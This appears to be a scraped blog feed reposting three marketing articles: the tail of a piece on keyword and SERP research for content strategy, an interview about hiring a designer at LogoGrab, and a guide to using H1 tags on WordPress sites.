Effective content strategies start with keyword research, because modern keyword research provides significant insight into what audiences want and need. The process enables marketers to identify user needs, brainstorm content ideas that satisfy those needs, and create the right content the first time. It also helps generate ample content ideas for filling editorial calendars.

2. Keyword research should define content
When expanded to discover user intent, keyword research tells marketers how to create content: what type of information is needed, who needs the information, and where searchers are in the buying journey.

Marketers can conduct searches for keywords and use search results to gather important content insights:

What type of information is needed? If search results for your target keyword offer beginner-level information, how-to guides or basic definitions, then the goal behind the keyword is general knowledge acquisition, or learn intent. If results include product feature or pricing comparisons, user reviews and brand landing pages, then the goal behind the keyword is to make a purchasing decision, or purchase intent.
Who needs the information? If search results are highly technical or provide very detailed information, the audience is likely individual contributors. If search results are high-level thought leadership pieces, the audience is more likely executives. User intent research provides insight into the persona who’s searching for a specific keyword, which allows marketers to personalize content for the appropriate audience.
Where are searchers in the buying journey? Keywords that result in introductory-level content are commonly used by searchers who are still in the “building awareness” stage — they may not even know they have a problem that needs to be solved. On the other hand, keywords that produce product comparison content suggest that users are aware they have a problem and have decided to make a purchase to solve it.
This type of keyword research enables the ideas captured in editorial calendars to be expanded with incredible detail. When content is written, it will include the right information, be addressed to the right audience and cater to the appropriate journey position, eradicating the waste caused by discovering these details after content is completed.

3. SERP analysis reveals Google’s ranking priorities
SERP analysis helps marketers decipher Google’s algorithmic preferences. In order to earn high rankings, marketers have to know which factors are priorities for their industry, content, niche, etc. Otherwise, they may waste time and effort pursuing things — such as certain keywords — that might not be important to their business.

Marketers can analyze page-one search results to develop a personalized list of ranking factors for their niche or industry. By comparing consistencies in top results — such as publication date, page load speeds, use of visual media, and related topics covered — the most pertinent ranking factors can be identified and addressed:

If most results point to video content, it’s because users who search for that keyword prefer videos.
If most results point to text content that exceeds 3,000 words, users are looking for comprehensive, long-form content.
If results are a blend of tables, infographics, videos, and slideshows, users searching for that keyword likely prefer visual content.
Identifying your top ranking factors allows marketers to anticipate user preferences and create the right content, in the right format, the first time.

Using SEO research to improve existing content
Don’t worry if your content has already been developed and published — it’s never too late to get started. Auditing existing content using SEO research insights is an extremely effective way to boost engagement and rankings without starting from scratch. Identify underperforming content, extract targeted keywords, and conduct user intent research.

Start by determining if existing content satisfies user intent. If search results for your target keyword are mostly defining the term and teaching about the concept, but your website is only offering a product page, you’re missing the mark on user intent. That page needs to either be updated to target the correct intent, or new content should be created to target the right intent.
Next, check content against buying journeys and personas. New insights might show that you have an excess of early-stage content, but nothing that really speaks to the decision-maker who’s ready to purchase. Make sure you have content that caters to every stage of the journey — and calls-to-action that help guide the user on your site — so you’re equipped to take leads all of the way through the funnel.
Finally, compare content as a whole to what you gathered in your research. Determine if content is in the best possible format for engaging users, take time to understand if it’s written for the right audience, and consider if calls-to-action and other navigational elements are appropriate for the stage of the buying journey that content caters to. Revise any elements that aren’t aligned with user intent insights.
This exercise allows marketers to derive more value from existing content, as well as expand the editorial calendar even further by identifying content gaps that need to be filled.

Modern SEO keyword research creates effective content strategies
Conducting keyword research at the end of a project, or after content is written, is little more than a shot in the dark for effective SEO. It’s user intent research that forms the groundwork for increased engagement and rankings by illuminating detailed information about who’s searching for specific keywords, what information they’re looking for, and what type of content they prefer.

Google — the master of connecting keywords to user goals — has all of the information needed to create effective content strategies, if we’re willing to read between the lines.

It’s never too late to change your approach to SEO. If your SEO efforts aren’t “working,” and your content isn’t increasing conversions, it’s time to shift. If you’re not convinced, or need to start slowly, begin with under-performing content. Look at search results for target keywords and see what insights you’ve missed.

Source: https://searchengineland.com/3-reasons-seo-belongs-beginning-project-not-end-278905

]]> The Importance of Hiring the Right Designer for Your Company http://cayseas.com/hiring-the-right-designer/ Wed, 25 Apr 2018 21:12:18 +0000 http://cayseas.com/?p=4852

In this blog series, we will be exploring the impact of design on LogoGrab and the importance of hiring a designer for any company. Part One will delve into the world of design, exploring the trials and tribulations of hiring a skilled designer.

I recently spoke with Luca Boschin, the CEO from innovative logo detection company, LogoGrab and a recruiter, Mindaugas Petrutis, who specializes in helping companies hire designers.

Luca, who along with his co-founder Alessandro Prest, hired a designer for LogoGrab with the help of Mindaugas. I asked both of them about the process of hiring based on their individual experiences. Let’s take a look at how an employer and a recruiter view both design and hiring the right designer for any given company.

The importance of design
A company such as LogoGrab that is involved in an advancing industry needs to embed design into its culture. It should ideally act as a symbiotic relationship between the company and the overall design of the brand. I asked Luca about the role of design within a company like LogoGrab:

“There are many ways in which you can interpret design. The more it evolves, the more fundamental it is for our products to evolve along with it. The products act as the customer’s first interaction with the company so design helps when it comes to aligning our customers’ needs to our value propositions. It gives each client the best user experience possible.”

When LogoGrab was starting out, it was just beginning to commercialize its product offering. It needed to first develop its corporate branding, illustrate the product use case clearly, and then convey the value proposition through the company website and sales channels to capture inbound leads. Luca required a designer with a core ability to understand and communicate a sometimes intangible A.I. technology, and apply a broad set of creative skills to design across a range of touch-points, from the marketing funnel to the product UI:

“When we were still developing our core algorithm at the beginning, we focused solely on that. We knew it would be crucial to hire a designer from the commercialization of our product which is why we began to think about the important skillset required for this role.”

Design permeates every aspect of the business, not just in the external branding and other content, such as the website, but also through the relationships that are formed between a company and their customers. Let’s now look at LogoGrab’s process of actually hiring a designer.

Hiring a designer- an employer’s perspective
When hiring a designer for the first time, it’s important to know why you are hiring them. What problems will they solve? What can they offer you? What value will they bring to your business and what value can you bring to them? As long as you answer these questions, your job description will strike a chord with the best designer for you and your company. Luca told me about the process of hiring LogoGrab’s first designer, Wesley Roddy:

“Understanding what we needed from a designer and the value that they would bring was important for us, so it was mostly about education at the beginning stage of the hiring process. We searched for recruiters that specialized in design because a general recruiter wouldn’t be able to provide the same level of expertise and we needed them to fully understand the type of designer we wanted. We wanted to work with a recruiter who could help us to get to know the designer and the benefits they could bring to our company.”

Luca and Alessandro chose Wesley to work for LogoGrab due to his passion and unique ability to provide them with his own knowledge and expertise. Luca was impressed by Wesley from the start:

“His passion was obvious as he was already thinking ahead. We knew we could learn a lot from him because of his previous experience with startups and his many years in the design field and that’s exactly what we were looking for.”

Hiring a designer- a recruiter’s perspective
Mindaugas Petrutis of SketchLabs assisted Luca and Alessandro with hiring a designer for LogoGrab. I asked him what advice he would give to companies such as LogoGrab who are starting out and are thinking about hiring a designer:

“It’s about presenting the role of the company as honestly as possible and to ensure that you’re not pretending to be someone else. For example, smaller companies often try to act like larger or better funded companies which becomes very obvious to potential employees. No one cares about ping-pong tables if you have an interesting challenge on offer and treat people well. Being honest about your own experiences and challenges will be appealing to the best designers. People want to add value to your company instead of just being another number.”

I also asked Mindaugas about his experience with recruiting Wesley for LogoGrab:

“It was one of my favorite roles, mostly due to Luca and Alessandro’s engagement with the entire process. I suggested that Luca take Wesley out for lunch because it’s important to get to know who you are hiring on a personal level to see how well you can get along with them outside the office environment. In an interview situation, you aren’t going to be your complete self, so getting to know them personally will help you understand if they are a good match, not just for your company and for the job at hand, but for you and your team.”

When hiring anyone, whether they are a designer or not, it’s important to understand that you are actually matching people to people, not just matching skills to a business. Mindaugas explains the process he goes through before introducing a designer to the hiring company:

“I usually meet around ten designers and present the hiring company with five. It’s important that I meet the designers beforehand to get to know who they really are as people in order to know whether or not they will get on with the hiring company’s CEO and the team when they meet. It’s more about understanding their process and how they think when designing and coming up with ideas. It’s also very important to be super clear about what you’ll want this person to do when they join and it needs to be figured out before anyone comes in for an interview. Jared Spool had some really fantastic advice on this recently”.

So now that we have covered how LogoGrab hired a designer, let’s delve into the role they will have in the future of a constantly evolving industry.

Design in the future
With the concept of Machine Diversity in mind, I asked Luca how important he believes design and designers will be for A.I. going forward:

“A.I. and designers are, in a way, completely different as A.I is simple automation, while designers offer a level of creativity. Designers will become more and more crucial as it’s going to be important for us to ask the right questions. Designers asking the right questions, sparking creativity and getting other people to ask the right questions is what’s to come.”

I finally asked Luca how important he believes design is for the future of LogoGrab, particularly when Machine Diversity is at the forefront of its progress:

“It is fundamental. If we want to differentiate ourselves from everyone else, it’s very important; not just in how we look, but in how we solve problems. The only way we can be successful in the future is by working collectively and welcoming diversity, because that’s the only way we can truly ask each other questions that we hadn’t previously thought about. And as a result, we can be creative and differentiate ourselves not just from others, but also from automation.”

Source: https://blog.marvelapp.com/importance-hiring-right-designer-company

]]> How and When to Use the H1 Tag on Your WordPress Website http://cayseas.com/when-to-use-the-h1-tag-on-wordpress-website/ Wed, 25 Apr 2018 21:02:23 +0000 http://cayseas.com/?p=4849

If you’ve ever done any research on search engine optimization, you’ve probably come across mentions of the H1 tag. But what is the H1 tag, where does it show up, and how should you actually use it to make your site better?

In this post, I’ll get into some best practices for using your H1 tags to improve your site’s search engine optimization and user experience.

What Is the H1 Tag And Where Does It Show Up on WordPress?
I won’t belabor this point because I’m guessing most of our readers are already at least a little bit familiar with H1 tags. But just in case you’re not, here’s a speed refresher:

Headings, of which there are a number of different options, help you organize the content on your page. H1 (short for “heading 1”) is normally the largest heading, with each subsequent heading (H2, H3, etc.) decreasing in importance.

In nearly every WordPress theme that I’ve ever looked at, the H1 tag is automatically applied to the post or page title.

You can see that the title is wrapped in

.

In the most basic sense, H1 tags tell both humans and search engine robots:

This is what this ENTIRE page is about.

H1 tags are not the same as the title tag that you’d set with an SEO plugin like Yoast. The title tag is what Google uses in its search results, whereas the H1 tag is strictly an on-page element.

Why and When Is It Important to Use H1 Tags?
H1 tags are important for two main reasons:

User experience
Search engine optimization (SEO)
To maximize these two areas, you should attempt to include an H1 tag on pretty much every page of your site. In fact, the vast majority of pages use an H1 tag – around 80% of first-page Google results have one.

H1 Tags Help Users Understand and Navigate Your Content
When a visitor lands on a page, they only hang around for 10-20 seconds unless the page has a “clear value proposition”.

Your H1 tag is what provides that clear value proposition and tells readers they’re at the right spot for what they’re looking for. In the words of Google itself, “Heading tags are an important website component for catching the user’s eye.”

And as a second consideration, H1 tags also make your site more accessible to people using screen readers.

H1 tags aren’t just about user experience, though. They also have an effect on search engine optimization, though not as much as they once did.

H1 Tags for Search Engine Optimization
In the past, H1 tags were considered an essential element of on-page SEO. Nowadays, though? If they do still have any effect, it’s limited.

To back me up on this one, I’m going to turn to Rand Fishkin of Moz:

I’d say H1 and H2 are best practices, but they are not going to transform or massively help your rankings. They’re not very well correlated with better rankings.

In fact, Moz had trouble noticing any difference between using H1 tags and just…making the text bigger without any H1 tag.

Interestingly – Moz actually practices what they preach here. If you look at the source code of their blog, you’ll see that Moz doesn’t use an H1 tag for their blog posts, instead opting to just make their H2 tag larger using CSS.

But while the H1 tag may not be as essential for on-page optimization as it once was, it’s still an important factor for a couple of reasons.

First off – bounce rate. While only Google knows the true answer, the 150 SEO professionals that Moz surveyed believe in bounce rate enough to rank it the 6th most important ranking influencer. It scored 6.57 on a scale from 1 (not influential) to 10 (highly influential).

Because your H1 tag is what grabs a reader’s attention and keeps them on the page, it can play an indirect role in SEO that way.

Second – your H1 tag can help get featured snippets in the search results. More on these in a second…

How to Best Use H1 Tags for SEO and User Experience
Before we go any further, let’s clear up one thing:

Most of the time, you should only have one H1 tag per page. Google, through Matt Cutts, has waffled a bit by saying that, while one is usually best, you can have more if logically needed. Bing, on the other hand, tells you to use a single H1 tag (in case anyone cares about Bing!).

With that out of the way, here are some best practices and tips for how to use your H1 tag…

How to Add an H1 Tag to WordPress
If you’re using a well-coded WordPress theme, you shouldn’t need to ever worry about digging into the code yourself for regular posts. As I mentioned, pretty much every WordPress theme should use the H1 tag for a post or page’s title (except on archive pages).

You should double check to make sure that this is the case, though. You can use Developer Tools to check it. And in case you’re wondering, Divi does use H1 tags for post titles on single pages and H2 tags for post titles on archive pages.

Most of the time, you’ll only need to add your own H1 tag if you’re using the Divi Builder (or another page builder).

As for what to put in your H1 tag…

H1 Tags Are Not for Keyword Stuffing
As of 2010, Moz no longer recommends that people “use H1 tags with keywords”. In fact, they call that recommendation one of the “Biggest SEO Mistakes SEOmoz Has Ever Made”.

According to them, keywords are important for title tags, but you shouldn’t feel the need to shoehorn them into your H1 tag.

However, other SEO pros, like Brian Dean of Backlinko, do recommend including your target keyword in your H1 tag.

Basically, you’re going to find mixed answers on the subject. But in the end, I think this should be your main takeaway:

Focus on making your H1 tag accurate and helpful to human visitors. If you can do that while still including a juicy keyword, that’s great. But don’t sacrifice human helpfulness just to get a keyword in.

H1 Tags Can Help With Featured Snippets, Though one area where your H1 tag can come into play is Google’s featured snippets.

While these results show up all over the place, one of the most common phrases you’ll see them on is “how to” queries.

According to Adobe, using an H1 tag that matches the “how to” query you want to rank for can help get you a featured snippet. Additionally, there’s chatter in the comments of this Whiteboard Friday at Moz discussing the same idea.

H1 tags are just a part of earning featured snippets, though. If you’d like a full guide to optimizing your content for featured snippets, SEMrush has a good post on the topic.

Wrapping Things Up
H1 tags are no longer the SEO must-have that they once were. But that doesn’t mean they aren’t important. They’re still the most prominent piece of text on most websites.

To that end, focus on making H1 tags descriptive of the content on the page. Your visitors should instantly understand exactly what they’ll get if they keep reading.

If you can do that while still including a keyword – great! It certainly won’t hurt your SEO, and it may even help it. But don’t feel like you need to write a cryptic title just to get your primary keyword in.

Source: https://www.elegantthemes.com/blog/tips-tricks/how-and-when-to-use-the-h1-tag-on-your-wordpress-website

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